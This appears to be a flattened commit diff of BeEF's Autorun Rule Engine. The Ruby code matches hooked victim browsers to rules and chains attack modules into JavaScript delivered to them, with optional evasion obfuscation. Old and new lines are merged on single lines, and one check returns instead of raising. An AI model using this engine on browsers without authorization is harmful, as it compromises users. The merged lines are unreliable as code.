elsif os_version == 'Vista'
os_ver_hook_maj = 6
os_ver_hook_min = 0
elsif os_version == '7'
os_ver_hook_maj = 6
os_ver_hook_min = 0
end
end
if !os_version.nil? || rule.os_version != 'ALL'
os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s)
os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s)
return false unless (os_major_version_match && os_minor_version_match)
end
true
rescue StandardError => e
print_error e.message
print_debug e.backtrace.join("\n")
end
# @return [Boolean]
def zombie_browser_matches_rule?(browser, browser_version, rule)
return false if rule.nil?
b_ver_cond = rule.browser_version.split(' ').first
return false unless @VERSION.include?(b_ver_cond)
b_ver = rule.browser_version.split(' ').last
return false unless BeEF::Filters.is_valid_browserversion?(b_ver)
# check if rule specifies multiple browsers
if rule.browser =~ /\A[A-Z]+\Z/
return false unless rule.browser == 'ALL' || browser == rule.browser
# check if the browser version matches
browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s)
return false unless browser_version_match
else
browser_match = false
rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b|
if b == browser || b == 'ALL'
browser_match = true
break
end
end
return false unless browser_match
end
true
rescue StandardError => e
print_error e.message
print_debug e.backtrace.join("\n")
end end
# Check if the hooked browser type/version and OS type/version match any Rule-sets # Check if the hooked browser type/version and OS type/version match any Rule-sets
# stored in the BeEF::Core::AutorunEngine::Models::Rule database table # stored in the BeEF::Core::Models::Rule database table
# If one or more Rule-sets do match, trigger the module chain specified # If one or more Rule-sets do match, trigger the module chain specified
def run(hb_id, browser_name, browser_version, os_name, os_version) def find_and_run_all_matching_rules_for_zombie(hb_id)
return if hb_id.nil?
hb_details = BeEF::Core::Models::BrowserDetails
browser_name = hb_details.get(hb_id, 'browser.name')
browser_version = hb_details.get(hb_id, 'browser.version')
os_name = hb_details.get(hb_id, 'host.os.name')
os_version = hb_details.get(hb_id, 'host.os.version')
are = BeEF::Core::AutorunEngine::Engine.instance are = BeEF::Core::AutorunEngine::Engine.instance
match_rules = are.match(browser_name, browser_version, os_name, os_version) rules = are.find_matching_rules_for_zombie(browser_name, browser_version, os_name, os_version)
are.trigger(match_rules, hb_id) if match_rules !=nil && match_rules.length > 0
return if rules.nil?
return if rules.empty?
are.run_rules_on_zombie(rules, hb_id)
end end
# Run the specified rule IDs on the specified zombie ID
# only if the rules match.
def run_matching_rules_on_zombie(rule_ids, hb_id)
return if rule_ids.nil?
return if hb_id.nil?
rule_ids = [rule_ids.to_i] if rule_ids.is_a?(String)
hb_details = BeEF::Core::Models::BrowserDetails
browser_name = hb_details.get(hb_id, 'browser.name')
browser_version = hb_details.get(hb_id, 'browser.version')
os_name = hb_details.get(hb_id, 'host.os.name')
os_version = hb_details.get(hb_id, 'host.os.version')
are = BeEF::Core::AutorunEngine::Engine.instance
rules = are.find_matching_rules_for_zombie(browser_name, browser_version, os_name, os_version)
return if rules.nil?
return if rules.empty?
new_rules = []
rules.each do |rule|
new_rules << rule if rule_ids.include?(rule)
end
return if new_rules.empty?
are.run_rules_on_zombie(new_rules, hb_id)
end
# Run the specified rule IDs on the specified zombie ID
# regardless of whether the rules match.
# Prepare and return the JavaScript of the modules to be sent. # Prepare and return the JavaScript of the modules to be sent.
# It also updates the rules ARE execution table with timings # It also updates the rules ARE execution table with timings
def trigger(rule_ids, hb_id) def run_rules_on_zombie(rule_ids, hb_id)
return if rule_ids.nil?
return if hb_id.nil?
hb = BeEF::HBManager.get_by_id(hb_id) hb = BeEF::HBManager.get_by_id(hb_id)
hb_session = hb.session hb_session = hb.session
rule_ids = [rule_ids] if rule_ids.is_a?(Integer)
rule_ids.each do |rule_id| rule_ids.each do |rule_id|
rule = BeEF::Core::Models::Rule.find(rule_id) rule = BeEF::Core::Models::Rule.find(rule_id)
modules = JSON.parse(rule.modules) modules = JSON.parse(rule.modules)
execution_order = JSON.parse(rule.execution_order) execution_order = JSON.parse(rule.execution_order)
execution_delay = JSON.parse(rule.execution_delay) execution_delay = JSON.parse(rule.execution_delay)
chain_mode = rule.chain_mode chain_mode = rule.chain_mode
mods_bodies = Array.new unless %w[sequential nested-forward].include?(chain_mode)
mods_codes = Array.new print_error("[ARE] Invalid chain mode '#{chain_mode}' for rule")
mods_conditions = Array.new return
end
mods_bodies = []
mods_codes = []
mods_conditions = []
# this ensures that if both rule A and rule B call the same module in sequential mode, # this ensures that if both rule A and rule B call the same module in sequential mode,
# execution will be correct preventing wrapper functions to be called with equal names. # execution will be correct preventing wrapper functions to be called with equal names.
rule_token = SecureRandom.hex(5) rule_token = SecureRandom.hex(5)
modules.each do |cmd_mod| modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first
options = [] options = []
replace_input = false replace_input = false
cmd_mod['options'].each do|k,v| cmd_mod['options'].each do |k, v|
options.push({'name' => k, 'value' => v}) options.push({ 'name' => k, 'value' => v })
replace_input = true if v == '<<mod_input>>' replace_input = true if v == '<<mod_input>>'
end end
command_body = prepare_command(mod, options, hb_id, replace_input, rule_token) command_body = prepare_command(mod, options, hb_id, replace_input, rule_token)
mods_bodies.push(command_body) mods_bodies.push(command_body)
mods_codes.push(cmd_mod['code']) mods_codes.push(cmd_mod['code'])
mods_conditions.push(cmd_mod['condition']) mods_conditions.push(cmd_mod['condition'])
@@ -75,31 +283,32 @@ module BeEF
# Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper # Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper
case chain_mode case chain_mode
when 'nested-forward' when 'nested-forward'
wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token) wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token)
when 'sequential' when 'sequential'
wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token) wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token)
else else
wrapper = nil # we should never get here. chain mode is validated earlier.
print_error "Chain mode looks wrong!" print_error("[ARE] Invalid chain mode '#{chain_mode}'")
# TODO catch error, which should never happen as values are checked way before ;-) next
end end
print_more "Triggering rules #{rule_ids} on HB #{hb_id}"
are_exec = BeEF::Core::Models::Execution.new( are_exec = BeEF::Core::Models::Execution.new(
:session_id => hb_session, session_id: hb_session,
:mod_count => modules.length, mod_count: modules.length,
:mod_successful => 0, mod_successful: 0,
:rule_token => rule_token, rule_token: rule_token,
:mod_body => wrapper, mod_body: wrapper,
:is_sent => false, is_sent: false,
:id => rule_id rule_id: rule_id
) )
are_exec.save! are_exec.save!
# Once Engine.check() verified that the hooked browser match a Rule, trigger the Rule ;-)
print_more "Triggering ruleset #{rule_ids.to_s} on HB #{hb_id}"
end end
end end
private
# Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay. # Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay.
# Launch order is also taken care of. # Launch order is also taken care of.
@@ -114,7 +323,7 @@ module BeEF
delayed_exec = '' delayed_exec = ''
c = 0 c = 0
while c < mods.length while c < mods.length
delayed_exec += %Q| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); | delayed_exec += %| setTimeout(function(){#{mods[order[c]][:mod_name]}_#{rule_token}();}, #{delay[c]}); |
mod_body = mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output") mod_body = mods[order[c]][:mod_body].to_s.gsub("#{mods[order[c]][:mod_name]}_mod_output", "#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output")
wrapped_mod = "#{mod_body}\n" wrapped_mod = "#{mod_body}\n"
wrapper += wrapped_mod wrapper += wrapped_mod
@@ -141,16 +350,17 @@ module BeEF
# if the first once return with success. Also, the second module has the possibility of mangling first # if the first once return with success. Also, the second module has the possibility of mangling first
# module output and use it as input for some of its module inputs. # module output and use it as input for some of its module inputs.
def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token) def prepare_nested_forward_wrapper(mods, code, conditions, order, rule_token)
wrapper, delayed_exec = '','' wrapper = ''
delayed_exec_footers = Array.new delayed_exec = ''
delayed_exec_footers = []
c = 0 c = 0
while c < mods.length while c < mods.length
if mods.length == 1 i = if mods.length == 1
i = c c
else else
i = c + 1 c + 1
end end
code_snippet = '' code_snippet = ''
mod_input = '' mod_input = ''
@@ -159,11 +369,11 @@ module BeEF
mod_input = 'mod_input' mod_input = 'mod_input'
end end
conditions[i] = true if conditions[i] == nil || conditions[i] == '' conditions[i] = true if conditions[i].nil? || conditions[i] == ''
if c == 0 if c == 0
# this is the first wrapper to prepare # this is the first wrapper to prepare
delayed_exec += %Q| delayed_exec += %|
function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){ function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
#{mods[order[c]][:mod_name]}_#{rule_token}(); #{mods[order[c]][:mod_name]}_#{rule_token}();
@@ -185,7 +395,7 @@ module BeEF
#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1]; #{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1];
| |
delayed_exec_footer = %Q| delayed_exec_footer = %|
} }
} }
} }
@@ -198,10 +408,10 @@ module BeEF
delayed_exec_footers.push(delayed_exec_footer) delayed_exec_footers.push(delayed_exec_footer)
elsif c < mods.length - 1 elsif c < mods.length - 1
code_snippet = code_snippet.to_s.gsub(mods[order[c-1]][:mod_name], "#{mods[order[c-1]][:mod_name]}_#{rule_token}") code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}")
# this is one of the wrappers in the middle of the chain # this is one of the wrappers in the middle of the chain
delayed_exec += %Q| delayed_exec += %|
function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){ function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){ if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){
#{code_snippet} #{code_snippet}
@@ -223,7 +433,7 @@ module BeEF
#{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1]; #{mods[order[c]][:mod_name]}_#{rule_token}_mod_output = mod_result[1];
| |
delayed_exec_footer = %Q| delayed_exec_footer = %|
} }
} }
} }
@@ -236,9 +446,9 @@ module BeEF
delayed_exec_footers.push(delayed_exec_footer) delayed_exec_footers.push(delayed_exec_footer)
else else
code_snippet = code_snippet.to_s.gsub(mods[order[c-1]][:mod_name], "#{mods[order[c-1]][:mod_name]}_#{rule_token}") code_snippet = code_snippet.to_s.gsub(mods[order[c - 1]][:mod_name], "#{mods[order[c - 1]][:mod_name]}_#{rule_token}")
# this is the last wrapper to prepare # this is the last wrapper to prepare
delayed_exec += %Q| delayed_exec += %|
function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){ function #{mods[order[c]][:mod_name]}_#{rule_token}_f(){
if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){ if(#{mods[order[c]][:mod_name]}_#{rule_token}_can_exec){
#{code_snippet} #{code_snippet}
@@ -258,7 +468,6 @@ module BeEF
wrapper wrapper
end end
# prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it, # prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it,
# and store it in the database. # and store it in the database.
# Returns the raw module body after template substitution. # Returns the raw module body after template substitution.
@@ -266,16 +475,16 @@ module BeEF
config = BeEF::Core::Configuration.instance config = BeEF::Core::Configuration.instance
begin begin
command = BeEF::Core::Models::Command.new( command = BeEF::Core::Models::Command.new(
:data => options.to_json, data: options.to_json,
:hooked_browser_id => hb_id, hooked_browser_id: hb_id,
:command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"), command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"),
:creationdate => Time.new.to_i, creationdate: Time.new.to_i,
:instructions_sent => true instructions_sent: true
) )
command.save! command.save!
command_module = BeEF::Core::Models::CommandModule.find(mod.id) command_module = BeEF::Core::Models::CommandModule.find(mod.id)
if (command_module.path.match(/^Dynamic/)) if command_module.path.match(/^Dynamic/)
# metasploit and similar integrations # metasploit and similar integrations
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
else else
@@ -293,18 +502,18 @@ module BeEF
build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty? build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?
if config.get("beef.extension.evasion.enable") if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance evasion = BeEF::Extension::Evasion::Evasion.instance
command_body = evasion.obfuscate(command_module.output) + "\n\n" command_body = evasion.obfuscate(command_module.output) + "\n\n"
else else
command_body = command_module.output + "\n\n" command_body = command_module.output + "\n\n"
end end
# @note prints the event to the console # @note prints the event to the console
print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]" print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]"
replace_input ? mod_input = 'mod_input' : mod_input = '' mod_input = replace_input ? 'mod_input' : ''
result = %Q| result = %|
var #{mod.name}_#{rule_token} = function(#{mod_input}){ var #{mod.name}_#{rule_token} = function(#{mod_input}){
#{clean_command_body(command_body, replace_input)} #{clean_command_body(command_body, replace_input)}
}; };
@@ -312,8 +521,8 @@ module BeEF
var #{mod.name}_#{rule_token}_mod_output = null; var #{mod.name}_#{rule_token}_mod_output = null;
| |
return {:mod_name => mod.name, :mod_body => result} { mod_name: mod.name, mod_body: result }
rescue => e rescue StandardError => e
print_error e.message print_error e.message
print_debug e.backtrace.join("\n") print_debug e.backtrace.join("\n")
end end
@@ -324,163 +533,43 @@ module BeEF
# #
# Also replace <<mod_input>> with mod_input variable if needed for chaining module output/input # Also replace <<mod_input>> with mod_input variable if needed for chaining module output/input
def clean_command_body(command_body, replace_input) def clean_command_body(command_body, replace_input)
begin cmd_body = command_body.lines.map(&:chomp)
cmd_body = command_body.lines.map(&:chomp) wrapper_start_index, wrapper_end_index = nil
wrapper_start_index,wrapper_end_index = nil
cmd_body.each_with_index do |line, index| cmd_body.each_with_index do |line, index|
if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/ if line.to_s =~ /^(beef|[a-zA-Z]+)\.execute\(function\(\)/
wrapper_start_index = index wrapper_start_index = index
break break
end
end end
if wrapper_start_index.nil?
print_error "[ARE] Could not find module start index"
end
cmd_body.reverse.each_with_index do |line, index|
if line.include?('});')
wrapper_end_index = index
break
end
end
if wrapper_end_index.nil?
print_error "[ARE] Could not find module end index"
end
cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index+1)).join("\n")
if cleaned_cmd_body.eql?('')
print_error "[ARE] No command to send"
end
# check if <<mod_input>> should be replaced with a variable name (depending if the variable is a string or number)
if replace_input
if cleaned_cmd_body.include?('"<<mod_input>>"')
final_cmd_body = cleaned_cmd_body.gsub('"<<mod_input>>"','mod_input')
elsif cleaned_cmd_body.include?('\'<<mod_input>>\'')
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
elsif cleaned_cmd_body.include?('<<mod_input>>')
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
else
return cleaned_cmd_body
end
return final_cmd_body
else
return cleaned_cmd_body
end
rescue => e
print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body"
end end
end print_error '[ARE] Could not find module start index' if wrapper_start_index.nil?
cmd_body.reverse.each_with_index do |line, index|
if line.include?('});')
wrapper_end_index = index
break
end
end
print_error '[ARE] Could not find module end index' if wrapper_end_index.nil?
# Checks if there are any ARE rules to be triggered for the specified hooked browser cleaned_cmd_body = cmd_body.slice(wrapper_start_index..-(wrapper_end_index + 1)).join("\n")
#
# Note: browser version checks are supporting only major versions, ex: C 43, IE 11 print_error '[ARE] No command to send' if cleaned_cmd_body.eql?('')
# Note: OS version checks are supporting major/minor versions, ex: OSX 10.10, Windows 8.1
# # check if <<mod_input>> should be replaced with a variable name (depending if the variable is a string or number)
# Returns an array with rule IDs that matched and should be triggered. return cleaned_cmd_body unless replace_input
# if rule_id is specified, checks will be executed only against the specified rule (useful
# for dynamic triggering of new rulesets ar runtime) if cleaned_cmd_body.include?('"<<mod_input>>"')
def match(browser, browser_version, os, os_version, rule_id=nil) cleaned_cmd_body.gsub('"<<mod_input>>"', 'mod_input')
match_rules = [] elsif cleaned_cmd_body.include?('\'<<mod_input>>\'')
if rule_id != nil cleaned_cmd_body.gsub('\'<<mod_input>>\'', 'mod_input')
rules = [BeEF::Core::Models::Rule.find(rule_id)] elsif cleaned_cmd_body.include?('<<mod_input>>')
cleaned_cmd_body.gsub('\'<<mod_input>>\'', 'mod_input')
else else
rules = BeEF::Core::Models::Rule.all cleaned_cmd_body
end end
return nil if rules == nil rescue StandardError => e
return nil unless rules.length > 0 print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body. #{e.message}"
print_info "[ARE] Checking if any defined rules should be triggered on target."
# TODO handle cases where there are multiple ARE rules for the same hooked browser.
# TODO the above works well, but maybe rules need to have priority or something?
rules.each do |rule|
begin
browser_match, os_match = false, false
b_ver_cond = rule.browser_version.split(' ').first
b_ver = rule.browser_version.split(' ').last
os_ver_rule_cond = rule.os_version.split(' ').first
os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first
os_ver_rule_min = rule.os_version.split(' ').last.split('.').last
# Most of the times Linux/*BSD OS doesn't return any version
# (TODO: improve OS detection on these operating systems)
if os_version != nil && !@VERSION_STR.include?(os_version)
os_ver_hook_maj = os_version.split('.').first
os_ver_hook_min = os_version.split('.').last
# the following assignments to 0 are need for later checks like:
# 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same
os_ver_hook_min = 0 if os_version.split('.').length == 1
os_ver_rule_min = 0 if rule.os_version.split('.').length == 1
else
# most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea
# to switch from strings to numbers in OS versioning. To prevent rewriting code later on,
# we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on.
os_ver_hook_maj, os_ver_hook_min = 5, 0 if os_version == 'XP'
os_ver_hook_maj, os_ver_hook_min = 6, 0 if os_version == 'Vista'
end
os_ver_rule_maj, os_ver_rule_min = 5, 0 if os_ver_rule_maj == 'XP'
os_ver_rule_maj, os_ver_rule_min = 6, 0 if os_ver_rule_maj == 'Vista'
next unless @VERSION.include?(b_ver_cond)
next unless BeEF::Filters::is_valid_browserversion?(b_ver)
next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond)
# os_ver without checks as it can be very different or even empty, for instance on linux/bsd)
# skip rule unless the browser matches
browser_match = false
# check if rule specifies multiple browsers
if rule.browser !~ /\A[A-Z]+\Z/
rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b|
browser_match = true if b == browser || b == 'ALL'
end
# else, only one browser
else
next unless rule.browser == 'ALL' || browser == rule.browser
# check if the browser version matches
browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s)
if browser_version_match
browser_match = true
else
browser_match = false
end
print_more "Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : #{browser_version_match}"
end
next unless browser_match
# skip rule unless the OS matches
next unless rule.os == 'ALL' || os == rule.os
# check if the OS versions match
if os_version != nil || rule.os_version != 'ALL'
os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s)
os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s)
else
# os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL )
os_major_version_match, os_minor_version_match = true, true
end
os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match)
print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}"
if browser_match && os_match
print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}."
match_rules.push(rule.id)
end
rescue => e
print_error e.message
print_debug e.backtrace.join("\n")
end
end
print_more "Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser type/version."
return match_rules
end end
# compare versions # compare versions
@@ -491,7 +580,8 @@ module BeEF
return true if cond == '<' && ver_a < ver_b return true if cond == '<' && ver_a < ver_b
return true if cond == '>=' && ver_a >= ver_b return true if cond == '>=' && ver_a >= ver_b
return true if cond == '>' && ver_a > ver_b return true if cond == '>' && ver_a > ver_b
return false
false
end end
end end
end end

View File

@@ -1,89 +1,80 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Core module Core
module AutorunEngine module AutorunEngine
class Parser class Parser
include Singleton include Singleton
def initialize def initialize
@config = BeEF::Core::Configuration.instance @config = BeEF::Core::Configuration.instance
end end
BROWSER = ['FF','C','IE','S','O','ALL'] BROWSER = %w[FF C IE S O ALL]
OS = ['Linux','Windows','OSX','Android','iOS','BlackBerry','ALL'] OS = %w[Linux Windows OSX Android iOS BlackBerry ALL]
VERSION = ['<','<=','==','>=','>','ALL','Vista','XP'] VERSION = ['<', '<=', '==', '>=', '>', 'ALL', 'Vista', 'XP']
CHAIN_MODE = ['sequential','nested-forward'] CHAIN_MODE = %w[sequential nested-forward]
MAX_VER_LEN = 15 MAX_VER_LEN = 15
# Parse a JSON ARE file and returns an Hash with the value mappings
def parse(name,author,browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode)
begin
success = [true]
return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode) def parse(name, author, browser, browser_version, os, os_version, modules, execution_order, execution_delay, chain_mode)
return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name) raise ArgumentError, "Invalid rule name: #{name}" unless BeEF::Filters.is_non_empty_string?(name)
return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author) raise ArgumentError, "Invalid author name: #{author}" unless BeEF::Filters.is_non_empty_string?(author)
# if multiple browsers were specified, check each browser raise ArgumentError, "Invalid chain_mode definition: #{chain_mode}" unless CHAIN_MODE.include?(chain_mode)
if browser.kind_of?(Array) raise ArgumentError, "Invalid os definition: #{os}" unless OS.include?(os)
browser.each do |b|
return [false, 'Illegal browser definition'] unless BROWSER.include?(b)
end
# else, if only one browser was specified, check browser and browser version
else
return [false, 'Illegal browser definition'] unless BROWSER.include?(browser)
if browser_version != 'ALL'
return [false, 'Illegal browser_version definition'] unless
VERSION.include?(browser_version[0,2].gsub(/\s+/,'')) &&
BeEF::Filters::is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/,'')) && browser_version.length < MAX_VER_LEN
end
end
if os_version != 'ALL' unless modules.size == execution_delay.size
return [false, 'Illegal os_version definition'] unless raise ArgumentError, "Number of execution_delay values (#{execution_delay.size}) must be consistent with number of modules (#{modules.size})"
VERSION.include?(os_version[0,2].gsub(/\s+/,'')) &&
BeEF::Filters::is_valid_osversion?(os_version[2..-1].gsub(/\s+/,'')) && os_version.length < MAX_VER_LEN
end
return [false, 'Illegal os definition'] unless OS.include?(os)
# check if module names, conditions and options are ok
modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first
if mod != nil
modk = BeEF::Module.get_key_by_database_id(mod.id)
mod_options = BeEF::Module.get_options(modk)
opt_count = 0
mod_options.each do |opt|
if opt['name'] == cmd_mod['options'].keys[opt_count]
opt_count += 1
else
return [false, "The specified option (#{cmd_mod['options'].keys[opt_count]
}) for module (#{cmd_mod['name']}) does not exist"]
end
end
else
return [false, "The specified module name (#{cmd_mod['name']}) does not exist"]
end
end
exec_order.each{ |order| return [false, 'execution_order values must be Integers'] unless order.integer?}
exec_delay.each{ |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer?}
return [false, 'execution_order and execution_delay values must be consistent with modules numbers'] unless
modules.size == exec_order.size && modules.size == exec_delay.size
success
rescue => e
print_error "#{e.message}"
print_debug "#{e.backtrace.join("\n")}"
return [false, 'Something went wrong.']
end end
execution_delay.each { |delay| raise TypeError, "Invalid execution_delay value: #{delay}. Values must be Integers." unless delay.is_a?(Integer) }
unless modules.size == execution_order.size
raise ArgumentError, "Number of execution_order values (#{execution_order.size}) must be consistent with number of modules (#{modules.size})"
end
execution_order.each { |order| raise TypeError, "Invalid execution_order value: #{order}. Values must be Integers." unless order.is_a?(Integer) }
# if multiple browsers were specified, check each browser
if browser.is_a?(Array)
browser.each do |b|
raise ArgumentError, "Invalid browser definition: #{browser}" unless BROWSER.include?(b)
end
# else, if only one browser was specified, check browser and browser version
else
raise ArgumentError, "Invalid browser definition: #{browser}" unless BROWSER.include?(browser)
if browser_version != 'ALL' && !(VERSION.include?(browser_version[0, 2].gsub(/\s+/, '')) &&
BeEF::Filters.is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/, '')) && browser_version.length < MAX_VER_LEN)
raise ArgumentError, "Invalid browser_version definition: #{browser_version}"
end
end
if os_version != 'ALL' && !(VERSION.include?(os_version[0, 2].gsub(/\s+/, '')) &&
BeEF::Filters.is_valid_osversion?(os_version[2..-1].gsub(/\s+/, '')) && os_version.length < MAX_VER_LEN)
return ArgumentError, "Invalid os_version definition: #{os_version}"
end
# check if module names, conditions and options are ok
modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first
raise "The specified module name (#{cmd_mod['name']}) does not exist" if mod.nil?
modk = BeEF::Module.get_key_by_database_id(mod.id)
mod_options = BeEF::Module.get_options(modk)
opt_count = 0
mod_options.each do |opt|
if opt['name'] != cmd_mod['options'].keys[opt_count]
raise ArgumentError, "The specified option (#{cmd_mod['options'].keys[opt_count]}) for module (#{cmd_mod['name']}) was not specified"
end
opt_count += 1
end
end
true
end end
end end
end end

View File

@@ -1,14 +1,12 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Core module Core
module AutorunEngine module AutorunEngine
class RuleLoader class RuleLoader
include Singleton include Singleton
def initialize def initialize
@@ -16,80 +14,204 @@ module BeEF
@debug_on = @config.get('beef.debug') @debug_on = @config.get('beef.debug')
end end
# this expects parsed JSON as input # Load an ARE rule set
def load(data) # @param [Hash] ARE ruleset as JSON
# @return [Hash] {"success": Boolean, "rule_id": Integer, "error": String}
def load_rule_json(data)
name = data['name'] || ''
author = data['author'] || ''
browser = data['browser'] || 'ALL'
browser_version = data['browser_version'] || 'ALL'
os = data['os'] || 'ALL'
os_version = data['os_version'] || 'ALL'
modules = data['modules']
execution_order = data['execution_order']
execution_delay = data['execution_delay']
chain_mode = data['chain_mode'] || 'sequential'
begin begin
BeEF::Core::AutorunEngine::Parser.instance.parse(
name,
author,
browser,
browser_version,
os,
os_version,
modules,
execution_order,
execution_delay,
chain_mode
)
rescue => e
print_error("[ARE] Error loading ruleset (#{name}): #{e.message}")
return { 'success' => false, 'error' => e.message }
end
name = data['name'] existing_rule = BeEF::Core::Models::Rule.where(
author = data['author'] name: name,
browser = data['browser']||'ALL' author: author,
browser_version = data['browser_version']||'ALL' browser: browser,
os = data['os']||'ALL' browser_version: browser_version,
os_version = data['os_version']||'ALL' os: os,
modules = data['modules'] os_version: os_version,
exec_order = data['execution_order'] modules: modules.to_json,
exec_delay = data['execution_delay'] execution_order: execution_order.to_s,
chain_mode = data['chain_mode'] execution_delay: execution_delay.to_s,
chain_mode: chain_mode
).first
parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse( unless existing_rule.nil?
name,author,browser,browser_version,os,os_version,modules,exec_order,exec_delay,chain_mode) msg = "Duplicate rule already exists in the database (ID: #{existing_rule.id})"
print_info("[ARE] Skipping ruleset (#{name}): #{msg}")
return { 'success' => false, 'error' => msg }
end
if parser_result.length == 1 && parser_result.first are_rule = BeEF::Core::Models::Rule.new(
print_info "[ARE] Ruleset (#{name}) parsed and stored successfully." name: name,
if @debug_on author: author,
print_more "Target Browser: #{browser} (#{browser_version})" browser: browser,
print_more "Target OS: #{os} (#{os_version})" browser_version: browser_version,
print_more "Modules to Trigger:" os: os,
modules.each do |mod| os_version: os_version,
print_more "(*) Name: #{mod['name']}" modules: modules.to_json,
print_more "(*) Condition: #{mod['condition']}" execution_order: execution_order.to_s,
print_more "(*) Code: #{mod['code']}" execution_delay: execution_delay.to_s,
print_more "(*) Options:" chain_mode: chain_mode
mod['options'].each do |key,value| )
print_more "\t#{key}: (#{value})" are_rule.save
end
end print_info("[ARE] Ruleset (#{name}) parsed and stored successfully.")
print_more "Exec order: #{exec_order}"
print_more "Exec delay: #{exec_delay}" if @debug_on
print_more "Target Browser: #{browser} (#{browser_version})"
print_more "Target OS: #{os} (#{os_version})"
print_more 'Modules to run:'
modules.each do |mod|
print_more "(*) Name: #{mod['name']}"
print_more "(*) Condition: #{mod['condition']}"
